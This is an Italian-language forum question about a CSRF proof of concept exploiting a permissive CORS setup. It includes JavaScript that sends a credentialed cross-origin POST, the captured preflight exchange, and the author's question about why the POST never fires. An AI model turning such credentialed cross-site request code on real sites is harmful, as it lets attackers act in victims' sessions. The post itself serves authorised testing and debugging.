Al momento sto lavorando a un PoC per un attacco CSRF, che dovrebbe essere possibile a causa della lassità della configurazione di CORS. Ho il permesso di attaccare.
Ora il codice seguente dovrebbe inviare una richiesta OPTIONS, che include tutti i dettagli richiesti dal browser per inviare il CSRF effettivo.
<html>
<head>
</head>
<body>
<script>
function createCORSRequest(method, url){
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr){
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined"){
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
var url = 'https://api.example.com/path';
var xhr = createCORSRequest('POST', url);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', "application/json");
xhr.send("EXAMPLE");
</script>
</body>
</html>
Il browser invia una richiesta OPTIONS e il server risponde di conseguenza:
Richiesta di OPZIONI:
OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
origin: null
Connection: close
Cache-Control: max-age=0
Risposta:
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close
Ma la richiesta POST non viene mai inviata. Non sono molto bravo con JS e ho cucito insieme la parte XHR da diversi post StackExchange. Una variante di questo ha funzionato per me per una diversa applicazione web.
Perché il browser non invia la richiesta POST CSRF?